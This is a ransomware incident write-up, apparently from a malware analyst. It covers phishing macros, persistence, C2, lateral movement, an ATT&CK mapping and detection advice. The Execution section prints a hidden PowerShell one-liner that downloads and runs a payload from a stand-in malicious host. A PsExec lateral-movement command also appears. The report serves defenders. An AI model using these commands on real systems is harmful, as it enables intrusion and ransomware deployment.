Sarah Chen — Malware Reverse Engineer
Key Takeaways
- This attack leveraged sophisticated phishing techniques to gain initial access.
- Subsequent execution phases demonstrated the use of PowerShell for in-memory execution, bypassing traditional defenses.
- Indicators of Compromise (IOCs) include malicious
Excelfiles and unusual registry modifications.
Executive Summary
During our investigation into a recent ransomware incident affecting multiple organizations, we observed the attacker’s use of cleverly disguised phishing emails as the primary vector for initial access. The email contained a seemingly legitimate Excel attachment, which led to the execution of a remote PowerShell script. This facilitated the download and installation of a ransomware payload while evading typical detection techniques.
Initial Access
The initial access phase was critical for the adversary. The phishing emails, crafted to appear as invoices from a trusted vendor, were sent to targeted employees. The emails contained a malicious Excel file named Invoice_2023.xlsx. Upon opening the document, users were prompted to enable macros, triggering the execution of embedded VBA scripts. This exploitation method underscores the ongoing risk of macro-enabled documents and serves as a reminder of the necessity for user training and awareness.
Execution & Persistence
Once the victim enabled macros, our analysis revealed that the embedded script executed a PowerShell command to download additional payloads from a remote server. The command executed was similar to the following: powershell -exec bypass -window hidden -command "(New-Object System.Net.WebClient).DownloadFile('http://malicious-server.com/payload.exe', 'C:\Users\Public\malware.exe'); Start-Process 'C:\Users\Public\malware.exe'". This technique utilizes the PowerShell scripting language to circumvent execution policies and initiate a backdoor.
Furthermore, the persistence mechanism involved creating a registry entry at HKCU\Software\Microsoft\Windows\CurrentVersion\Run which ensured that the malicious executable executed at every system startup. It is crucial to monitor changes to this registry path as it is frequently utilized by malware for persistence.
Command and Control
The payload established a connection to a command and control (C2) server using HTTP over port 80. We identified the C2 server’s IP address as 192.168.1.10, which was associated with numerous suspicious domains. Upon connection, the compromised systems began beaconing with periodic intervals of every 60 seconds, indicating a clear attempt by the attacker to maintain control over infected hosts.
Additionally, the use of the HTTP GET request method for C2 communication allowed the attacker to send arbitrary commands, further extending their capabilities within the network environment. The decoding of the payload revealed connections to known malicious sites, highlighting the importance of maintaining up-to-date threat intelligence related to C2 infrastructures.
Lateral Movement & Discovery
The adversary demonstrated significant lateral movement capabilities by leveraging Windows administrative tools like PsExec and WMI for discovery and deployment of the ransomware across the internal network. We observed the execution of commands such as psexec \\target_machine -u admin -p password cmd, gaining unauthorized access to other systems and facilitating further infections. This technique not only showcased their proficiency in utilizing native tools but also emphasized the importance of monitoring for anomalous use of these utilities.
Impact & Objectives
The ultimate objective of the ransomware was to encrypt files and demand payment for decryption, significantly impacting the organization’s operations. During our analysis, we noted typical ransom notes left in compromised directories, along with encrypted file extensions altered to .locked. The randomization of encryption keys and a professional ransom note indicated the actor’s intention to coerce victims into compliance by instilling fear and urgency.
Additionally, backups were targeted during this attack, particularly those accessible on network shares, indicating a well-planned strategy to maximize disruption. Recovery efforts from backup systems became substantially more arduous due to these tactics, demonstrating effective ransomware operations’ crippling effectiveness.
MITRE ATT&CK Mapping
- T1566 – Phishing: Delivery of malicious payloads via phishing emails.
- T1059 – Command and Scripting Interpreter: Use of PowerShell for executing downloaded scripts and commands.
- T1071 – Application Layer Protocol: C2 communications over HTTP.
- T1021 – Remote Services: Using PsExec for lateral movement.
- T1486 – Data Encrypted for Impact: Ransomware encrypts user data to demand ransom.
Detection Opportunities
- Monitor email gateways for known phishing patterns and malicious attachments.
- Implement monitoring for registry key changes associated with persistence mechanisms.
- Utilize behavioral analysis tools to detect unusual PowerShell activity, especially related to execution of scripts from
AppDataorTempfolders.
Analyst Notes
This investigation served as a reminder of the necessity for comprehensive user awareness training, as well as the ongoing need to improve detection mechanisms against sophisticated phishing tactics. As ransomware continues to evolve, so must our strategies for incident detection and response. Organizations should prioritize the implementation of multi-layered defenses, including email filtering, endpoint detection, and response (EDR) solutions, alongside robust backup strategies to mitigate the impact of potential ransomware attacks.
Source: Original Report